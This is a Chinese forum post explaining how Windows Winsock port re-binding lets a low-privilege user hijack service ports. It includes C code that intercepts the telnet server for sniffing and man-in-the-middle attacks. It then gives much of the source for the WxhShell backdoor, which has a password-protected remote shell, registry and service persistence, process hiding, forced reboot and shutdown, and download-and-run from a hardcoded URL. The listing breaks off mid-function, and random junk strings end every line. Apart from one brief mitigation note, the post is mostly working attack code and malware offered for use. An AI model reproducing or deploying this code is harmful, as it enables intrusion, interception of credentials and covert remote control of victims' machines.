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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d+)LK~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v#IZSBvuQK  
Ug O\+cI  
  saddr.sin_family = AF_INET; >y q L  
oWOH#w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z#&qWO  
\}qv}hU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]@1ncn7N  
RzSN,bL R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p7O4CP>9[  
p/s5[>N  
  这意味着什么?意味着可以进行如下的攻击: CV7.hF<  
z!j`Qoh?V9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XlNB9\"5  
lu.2ZQE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~RE`@/wQ]  
Y.Ew;\6U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8%U)EU  
t,P +~ A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5 4LCoG/  
9zd)[4%=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (C QgT3V  
J.`.lQ$z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *XzUqK  
u09OnP\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kp;MNRc  
Z#W`0G>'  
  #include L,X6L @Q  
  #include 9k"nx ,"  
  #include #wm)e)2@  
  #include    \J\1i=a-=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CblL1q8  
  int main() f%auz4CZz  
  { /3Gv51'  
  WORD wVersionRequested; Qg oXOVo6  
  DWORD ret; eaiz w@N  
  WSADATA wsaData; ~d5{Q?T)  
  BOOL val; sQH.}W$C  
  SOCKADDR_IN saddr; )d1,}o  
  SOCKADDR_IN scaddr; >"nk}@  
  int err; j+ys&pDczm  
  SOCKET s; Pr/&p0@aV  
  SOCKET sc; CC87<>V  
  int caddsize; {k]VT4/  
  HANDLE mt; `RzM)ILl  
  DWORD tid;   \1B*iW  
  wVersionRequested = MAKEWORD( 2, 2 ); SoY&R=  
  err = WSAStartup( wVersionRequested, &wsaData ); Ia"bP` L  
  if ( err != 0 ) { :3Jh f$  
  printf("error!WSAStartup failed!\n"); I5"=b}V5  
  return -1; u})JQ<|  
  } \)"qN^we  
  saddr.sin_family = AF_INET; ?%0i,p@<  
   -jw=Iyv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 " 7 4L  
]V]o%onW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XF$C)id2p  
  saddr.sin_port = htons(23); nW%c95E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +1623E  
  { Gsh2  
  printf("error!socket failed!\n"); dCyQCA[  
  return -1; *:_hOOT+[  
  } ";. 3+z  
  val = TRUE; ^~I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +%~g$#tlJo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t-Fl"@s  
  { wIiT :o  
  printf("error!setsockopt failed!\n"); V)Xcn'h  
  return -1; zj)[Sn tn?  
  } DpR%s",Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i! nl%%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %?$"oWmenS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 JZ7-? o  
n C Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Fy@D&j  
  { d$Xvax,C  
  ret=GetLastError(); U\z+{]<<  
  printf("error!bind failed!\n"); ?0<3"2Db~  
  return -1;  t|DYz#]  
  } >y@w-,1he  
  listen(s,2); K&h|r`W(  
  while(1) ^YZ#P0 y  
  { MG@19R2s  
  caddsize = sizeof(scaddr); Dx%fW`  
  //接受连接请求 ;g*6NzdA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (^4%Fk&I-  
  if(sc!=INVALID_SOCKET) 7> QtO  
  { 32Z4&~ I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dA~6{*)  
  if(mt==NULL)  h 2zCX  
  { sOW|TN>y\  
  printf("Thread Creat Failed!\n"); J.d `tiN  
  break; mB~&nDU  
  } PrcM'Q  
  } $p@g#3X`  
  CloseHandle(mt); {Q"<q`c  
  } tpD?-`9o  
  closesocket(s); StVv"YY  
  WSACleanup(); b6(yyYdF  
  return 0; Bk F[nL*|  
  }   G~Sfpf  
  DWORD WINAPI ClientThread(LPVOID lpParam) re*/JkDq3K  
  { V]2z5u_q  
  SOCKET ss = (SOCKET)lpParam; kShniN  
  SOCKET sc; ublY!Af  
  unsigned char buf[4096]; YGO@X(ej,  
  SOCKADDR_IN saddr; 5W48z%MN  
  long num; fYi!Z/Ck2  
  DWORD val; )qIK7;  
  DWORD ret; H6eGLg={  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #Grm-W9E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    ]gW J,  
  saddr.sin_family = AF_INET; S7vE[VF5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )em.KbsPPF  
  saddr.sin_port = htons(23); Z0=OR^HjA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uwka 2aSS  
  { |<0@RCgM  
  printf("error!socket failed!\n"); #rwR)9iC0  
  return -1; SJ-Sac58r  
  } [8w2U%}]  
  val = 100; ^q` *!B 9@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #u$z-M !  
  { NC}#P< U  
  ret = GetLastError(); u| c+w)a  
  return -1; -Me\nu8(RF  
  } A.b#r[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^xwFjQXx  
  { (Wqhuw!u  
  ret = GetLastError(); (YOgQ)},  
  return -1; I .ty-X]  
  } z"#.o^5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !)=o,sVA  
  { CmOb+:4@K  
  printf("error!socket connect failed!\n"); Ul Iw&U  
  closesocket(sc); +q$|6?  
  closesocket(ss); p rgjU  
  return -1; 3@L%#]xwi  
  } ~aG-^BAS  
  while(1) (Nahtx!/9  
  { hd;I x%tq>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rzHa&:Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Fe .*O`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  P+0xi  
  num = recv(ss,buf,4096,0); [4 j;FN Fa  
  if(num>0) v3Yj2LSqx  
  send(sc,buf,num,0); bB-v ar  
  else if(num==0) h'p0V@!N  
  break; ;>9pJ72r  
  num = recv(sc,buf,4096,0); rE:>G]j6  
  if(num>0) { )qP34rM  
  send(ss,buf,num,0); ~tvoR&{I  
  else if(num==0) $NH Wg(/R@  
  break; pt#[.n#f  
  } |5Pbc&mH8A  
  closesocket(ss); kVv <tw  
  closesocket(sc); xF;v 6d  
  return 0 ; 1\0@?6`^  
  } !%r`'|9y  
3~ZVAg[c  
lv*uXg.k^  
========================================================== }HorR2(`N  
#+0 R!Y  
下边附上一个代码,,WXhSHELL >U Lp!  
KT71%?P  
========================================================== bobkT|s^s  
I:<R@V<~#  
#include "stdafx.h" m=B0!Z1xx  
!++62Lf  
#include <stdio.h> 8zWPb  
#include <string.h> [Gy'0P(EQ  
#include <windows.h> V?BVk8D};  
#include <winsock2.h> Pltju4.:C  
#include <winsvc.h> rU@?v+i  
#include <urlmon.h> 3H2;mqq  
I>Q,]S1h  
#pragma comment (lib, "Ws2_32.lib") VYo;[ue([  
#pragma comment (lib, "urlmon.lib") dy?|Q33Y"  
XH$|DeAFM  
#define MAX_USER   100 // 最大客户端连接数 q&T'x> /  
#define BUF_SOCK   200 // sock buffer f*}E\,V"&  
#define KEY_BUFF   255 // 输入 buffer CJ  
t}*!UixE  
#define REBOOT     0   // 重启 l$_rA~Mo  
#define SHUTDOWN   1   // 关机 z&,sm5Lb  
T l(uqY?9  
#define DEF_PORT   5000 // 监听端口 |9]K:A  
Tpx,41(k  
#define REG_LEN     16   // 注册表键长度 98'XSL|  
#define SVC_LEN     80   // NT服务名长度 %0]b5u  
[_b='/8  
// 从dll定义API }Xv1KX'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1iL xXd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }F6b ]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bGc|SF<V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O/oYaAlFF@  
Z8 %\v(L  
// wxhshell配置信息 TR_oI<xB2  
struct WSCFG { ItE~MJ5p  
  int ws_port;         // 监听端口 a' o8n6i  
  char ws_passstr[REG_LEN]; // 口令 y4rJ-  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z3>3&|&  
  char ws_regname[REG_LEN]; // 注册表键名 _)2TLA n3  
  char ws_svcname[REG_LEN]; // 服务名 >Eg. c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hp V /F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }A/&]1GWk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6F/ OlK<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jYID44$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yc=#Jn?S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q<[ke   
}IkEyJsk  
}; h_G Bx|c  
W;]U P$5l  
// default Wxhshell configuration ./y[<e  
struct WSCFG wscfg={DEF_PORT, ]V^.!=gh$  
    "xuhuanlingzhe", 6v O)s!b  
    1, 6-14Htsk6  
    "Wxhshell", 4 Olv8nOe<  
    "Wxhshell", aw%vu  
            "WxhShell Service", )"jn{%/t  
    "Wrsky Windows CmdShell Service", ]{+M>i[  
    "Please Input Your Password: ", [k 7N+W8  
  1, =M{CZm  
  "http://www.wrsky.com/wxhshell.exe", } %CbZ/7&  
  "Wxhshell.exe" T-2p`b}h W  
    }; o\;"|O}  
N<"6=z@w+  
// 消息定义模块 RdvTtXg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6ri?y=-c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X3L[y\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; He-Ja  
char *msg_ws_ext="\n\rExit."; UJ)M:~O  
char *msg_ws_end="\n\rQuit."; O8~U<'=*  
char *msg_ws_boot="\n\rReboot..."; )k] !u  
char *msg_ws_poff="\n\rShutdown..."; \If!5N  
char *msg_ws_down="\n\rSave to "; u+'@>%7  
-L3 |9k  
char *msg_ws_err="\n\rErr!"; pXj/6+^  
char *msg_ws_ok="\n\rOK!"; Q*&aC|b&  
I+j|'=M  
char ExeFile[MAX_PATH]; K(KP3Q  
int nUser = 0; 5J\|gZQF  
HANDLE handles[MAX_USER]; ;@YF}%!+W  
int OsIsNt; xgqv2s>L  
uQtk|)T E  
SERVICE_STATUS       serviceStatus; <bXWkj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S]%U]  
Dw/Gha/  
// 函数声明 <Bb<?7q$ld  
int Install(void); fy=C!N&/  
int Uninstall(void); p2c=;5|/Q  
int DownloadFile(char *sURL, SOCKET wsh); $N+ {r=  
int Boot(int flag); hB$Y4~T%  
void HideProc(void); m/c&/6nk  
int GetOsVer(void); 9_A0:S9Z  
int Wxhshell(SOCKET wsl); 'Kzr-)JS  
void TalkWithClient(void *cs); :;*#Qh3"  
int CmdShell(SOCKET sock); kPX2e h  
int StartFromService(void); pM'IQ3N  
int StartWxhshell(LPSTR lpCmdLine); 5v>{Z0TE[6  
qwNKRqT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G9y12HV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dMs39j  
{F6dSF`  
// 数据结构和表定义 :n>ccZeMv  
SERVICE_TABLE_ENTRY DispatchTable[] = eo*u(@  
{ CVSsB:H6e  
{wscfg.ws_svcname, NTServiceMain}, s@)"IdSA(  
{NULL, NULL} BXK::M+  
}; !k= 0X\5L  
azDC'.3{p  
// 自我安装 ^Im%D(MY  
int Install(void) uJ/?+5TU  
{ 9<(K6Q  
  char svExeFile[MAX_PATH]; 8K JQ(  
  HKEY key; + 65~,e  
  strcpy(svExeFile,ExeFile); Y K?*7  
^'u;e(AaE  
// 如果是win9x系统,修改注册表设为自启动 q4.dLU,1  
if(!OsIsNt) { 'f?&EsIV?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eFj6p<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _z(5e  
  RegCloseKey(key); R|)2Dg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |N=@E,33  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y zBA{FE  
  RegCloseKey(key); /@:up+$  
  return 0; nc\C 4g  
    } ? __aVQ7  
  } d7_g u  
} 0n<(*bfW  
else { w^due P7J  
$uFh$f  
// 如果是NT以上系统,安装为系统服务 Q{l*62Bx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v<7Gln  
if (schSCManager!=0) D _bkUR1  
{ +{C9uY)$vf  
  SC_HANDLE schService = CreateService #[U 9(44,  
  ( fr'huvc  
  schSCManager, Hr<C2p^a  
  wscfg.ws_svcname, ^L8Wn6s'  
  wscfg.ws_svcdisp, <h@z=ijN  
  SERVICE_ALL_ACCESS, l\=-+'Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NHFEr  
  SERVICE_AUTO_START, ~[uV  
  SERVICE_ERROR_NORMAL, CmJ?_>  
  svExeFile, pg?i F1  
  NULL, 7Js>!KR  
  NULL, e\A(#l@g  
  NULL, 2 %{YYT   
  NULL, GIRSoRVsh  
  NULL /J[H5uA  
  ); uFm+Y]h  
  if (schService!=0) orB8Q\p'  
  { KCJN<  
  CloseServiceHandle(schService); |,1bkJt  
  CloseServiceHandle(schSCManager); da00p-U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hSkc9jBF  
  strcat(svExeFile,wscfg.ws_svcname); W3jXZ>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0tW<LR-}E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pn+IJ=0Y  
  RegCloseKey(key); &'huS?g A9  
  return 0; J~iOP  
    } W8G9rB|T  
  } MS st  
  CloseServiceHandle(schSCManager); b@2Cl l#  
} &PRx,G5  
} F%PwIB~cy  
0HHui7Yy>  
return 1; p- "Z'$A`  
} $*AC>i\  
(@KoqwVWc  
// 自我卸载 |%'6f}fnE  
int Uninstall(void) "+n4c'  
{ _}I(U?Q-C  
  HKEY key; H:q)^$s  
a@fE46o6<  
if(!OsIsNt) { z29qARiX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pK6e/eC  
  RegDeleteValue(key,wscfg.ws_regname); mfeMmKFu\  
  RegCloseKey(key); HBh` 2Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mFqSD  
  RegDeleteValue(key,wscfg.ws_regname); " K 8&{=  
  RegCloseKey(key); ySwYV  
  return 0; Cdp]Nv6  
  } 4?>18%7&  
} I!$jYY2  
} Ic[}V0dk  
else { 49+ >f  
p{ @CoOn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mVv\bl?<  
if (schSCManager!=0) G}!7tU  
{ OuOk=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k]SAJ~bS|  
  if (schService!=0) {J,6iP{>ZN  
  { >H0) ph  
  if(DeleteService(schService)!=0) { }O,U2=Hw`]  
  CloseServiceHandle(schService); xl+DRPzl  
  CloseServiceHandle(schSCManager); zH)cU%I@.  
  return 0; 2PVx++*]C  
  } XYqpI/s  
  CloseServiceHandle(schService); XJx,9trH  
  } $nB-ADRu@  
  CloseServiceHandle(schSCManager); !;o\5x<'$O  
} M11"<3]D  
} 4meidKw]  
Q'Jv} 'eK_  
return 1; Ni2]6U  
} 9 z5"y|$  
,c4c@|Bh?  
// 从指定url下载文件 "El^38Ho  
int DownloadFile(char *sURL, SOCKET wsh) G1kaF/`O  
{ Z69+yOJI  
  HRESULT hr; t6'61*)|0  
char seps[]= "/"; D9qX->p  
char *token; nE/=:{~Ws  
char *file; uy/y wm/?=  
char myURL[MAX_PATH]; T)WZ_bR  
char myFILE[MAX_PATH]; Y]C; T  
hc-lzYS  
strcpy(myURL,sURL); /635B*g  
  token=strtok(myURL,seps); 33Ssylno  
  while(token!=NULL) #/ OUGeJ  
  { j~M#Ss-H8  
    file=token; OSp?okV  
  token=strtok(NULL,seps); 9pWi.J  
  } #F_'}?09%  
FE/$(7rM  
GetCurrentDirectory(MAX_PATH,myFILE); zuUT S[  
strcat(myFILE, "\\"); i]it5  
strcat(myFILE, file); <=q*N;=T,  
  send(wsh,myFILE,strlen(myFILE),0); {5T0RL{\N  
send(wsh,"...",3,0); M'yO+bu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QJx9I_  
  if(hr==S_OK) DdBxqkh  
return 0; n!GWqle  
else 8@E8!w&~  
return 1; *;<e '[Y7f  
+"'F Be  
} ]]>nbgGn#  
H76E+AY  
// 系统电源模块 }<vvxi  
int Boot(int flag) Vy]A,Rn7  
{ B,3 t`  
  HANDLE hToken; 9'1hjd3k  
  TOKEN_PRIVILEGES tkp; l`SK*Bm~<  
./$ <J6-J  
  if(OsIsNt) { q1H=/[a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K!GUv{fp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z[Wlyb0  
    tkp.PrivilegeCount = 1; |5W8Q|>%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,{?wKXJ}L!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H{ZLk,  
if(flag==REBOOT) { Q Q@9_[N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *5 e<\{!  
  return 0; }04Dg '  
} Ba<ngG !  
else { '<TD6jBs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hw Z^D= A  
  return 0; 0z/h+,  
} g;8M<`qvf  
  } D/Rv&>Jh  
  else { .N5'.3  
if(flag==REBOOT) {  L#n}e7Y9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JfMJF[Mb  
  return 0; QV0M/k<'  
} @|DmE!)  
else { pjACFVMFX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XJUEwX  
  return 0; b7bSTFZxC  
} bZ/ hgqS  
} h0|[etaf  
V{!lk]p}a  
return 1; TZ'aNcGg  
} ^]VcxKUJ  
m$?.Yig?  
// win9x进程隐藏模块 B~?c3:6  
void HideProc(void) *|oPxQCtK  
{ zhX;6= X2  
0C]4~F x~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3)Zu[c[%'J  
  if ( hKernel != NULL ) Vb2\/e:k  
  { ZW>o5x__b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4Q;<Q"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lx%:t YZ  
    FreeLibrary(hKernel); L;3aZt,#O  
  } y`rL=N#  
$.a|ae|K  
return; F99A;M8(  
} mbyih+amCr  
;Z*'D}  
// 获取操作系统版本 (-\]A|  
int GetOsVer(void) /l ^y}o %?  
{ usy,V"{  
  OSVERSIONINFO winfo; M|k&TTV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vO]J]][  
  GetVersionEx(&winfo); '*4iqP R;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4`s)ue  
  return 1; `y2ljIWJ  
  else -bA!PeI  
  return 0; Pg Syt  
} Atd1qJ  
iT.|vr1HG  
// 客户端句柄模块 ^7Lk-a7gp  
int Wxhshell(SOCKET wsl) bE d?^h  
{ zks#EzQ  
  SOCKET wsh; ;, rnk-  
  struct sockaddr_in client; d@ZoV  
  DWORD myID; /ERNS/w  
Zi/-~')E  
  while(nUser<MAX_USER) 6 Uw;C84!  
{ B7!;]'&d  
  int nSize=sizeof(client); frc{>u~t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E67XPvo1+@  
  if(wsh==INVALID_SOCKET) return 1; MKC$;>i  
V\AK6U@r^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \!<"7=(J{4  
if(handles[nUser]==0) <(YF5Xm6$h  
  closesocket(wsh); $@2"{9Z  
else EjSD4  
  nUser++; j;iL&eo>  
  } 4{Udz!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9#Y2`p T  
zmb@*/fK  
  return 0; p![&8i@ym  
} vU}: U)S  
$6!i BX@  
// 关闭 socket `VZZ^K9zR  
void CloseIt(SOCKET wsh) *Tp]h 0  
{ vTd- x>n  
closesocket(wsh); >jMH#TZaX  
nUser--; "15=ET  
ExitThread(0); ]G*$W+G]  
} /lJjQ]c;>  
59i]  
// 客户端请求句柄 PBrnzkoY  
void TalkWithClient(void *cs) %K zbO0  
{ x> \Bxa8  
pds*2p)2  
  SOCKET wsh=(SOCKET)cs; :tLbFW[  
  char pwd[SVC_LEN]; \f"1}f  
  char cmd[KEY_BUFF]; o,FUfO}F  
char chr[1]; G3dh M#!  
int i,j; m gVML&^  
?E7=:h(@t  
  while (nUser < MAX_USER) { u!Bk,}CE`  
&$#99\ /  
if(wscfg.ws_passstr) { .S!-e$EJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O>AFF@=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pq?*C;D  
  //ZeroMemory(pwd,KEY_BUFF); v9rVpYc"  
      i=0; Q#pnj thM  
  while(i<SVC_LEN) { TatMf;?h&  
KO&:06V{  
  // 设置超时 l.oBcg[  
  fd_set FdRead; -B 9S}NPo  
  struct timeval TimeOut; q- :4=vkn  
  FD_ZERO(&FdRead); yW("G-Nm  
  FD_SET(wsh,&FdRead); &@6 GI<  
  TimeOut.tv_sec=8; g$w6kz_[  
  TimeOut.tv_usec=0; A(+:S"|@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hf%_}Du /`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C[8KlD  
\Y e%o}.{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0T))>.iu#  
  pwd=chr[0]; {eR9 ;2!  
  if(chr[0]==0xd || chr[0]==0xa) { {|6z+vR  
  pwd=0; ]"sRS`0+  
  break; v[&'k\  
  } m7m \`;  
  i++; cPuHLwwYf  
    } e$wt&^W  
Uh}X<d/V  
  // 如果是非法用户,关闭 socket Spgg+;9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B 8{ uR  
} jczq `yW  
sRq U]i8l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t`u!]DHv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7'OPjt M  
H$tb;:  
while(1) { 5v9uHxy  
S}7>RHe  
  ZeroMemory(cmd,KEY_BUFF); &{W^W8,%  
WZ?!!   
      // 自动支持客户端 telnet标准   bulboyA&#  
  j=0; pjN:&#Y]  
  while(j<KEY_BUFF) { *Jt8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l>7r2;  
  cmd[j]=chr[0]; R 1'`F{56  
  if(chr[0]==0xa || chr[0]==0xd) { Df@/cT  
  cmd[j]=0; u+2Lm*M  
  break; +(mL~td01  
  } dJl^ADX[@  
  j++; ({M?Q>s  
    } % {Q-8w!  
RrWNJ&o  
  // 下载文件 vg(K$o{BT  
  if(strstr(cmd,"http://")) { maDz W_3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =M<z8R  
  if(DownloadFile(cmd,wsh)) zZ,Yfd |W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )ooWQ-%P  
  else &N\[V-GP2G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p)/ p!d[T/  
  } 'qy#)F  
  else { 7lU.Ni t  
ow.j+ <M  
    switch(cmd[0]) { 5AOfp2O  
  2OalAY6RS  
  // 帮助 J#7y< s  
  case '?': { @!\K>G >9[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5@P-g  
    break; ]0/p 7N14  
  } ]MAT2$"le  
  // 安装 A*'V+(  
  case 'i': { wPnybb{  
    if(Install()) *{5>XH{ x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Oh`2tc-  
    else (X}@^]lpa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T~s}Nx#  
    break; yVS\Q,:J9  
    } sKfXg`0  
  // 卸载 wFL3& *  
  case 'r': { p4> ,Fwy2  
    if(Uninstall()) Qb`C)Nh:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -3hCiKq  
    else Q)^g3J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  .mPg0  
    break; 5 =Z!hQ}  
    } Uix{"  
  // 显示 wxhshell 所在路径 |Td5l?  
  case 'p': { 6fwY$K\X  
    char svExeFile[MAX_PATH]; T=\!2gt  
    strcpy(svExeFile,"\n\r"); )^ <3\e  
      strcat(svExeFile,ExeFile); ?63&g{vA  
        send(wsh,svExeFile,strlen(svExeFile),0); - DL"-%X.  
    break; HXks_ix )  
    } R]Qp Mj%o  
  // 重启 C5n?0I9  
  case 'b': { 5I,$EGG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y\?j0X;  
    if(Boot(REBOOT)) arh@`'Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  @E_zR  
    else { ^ vbWRG~  
    closesocket(wsh); \0AiCMX[  
    ExitThread(0); -x'e+zT  
    } aqr!oxn?t  
    break; _!AJiP3!)4  
    } (wA?;]q(  
  // 关机 0*7*RX  
  case 'd': { 8A{6j  
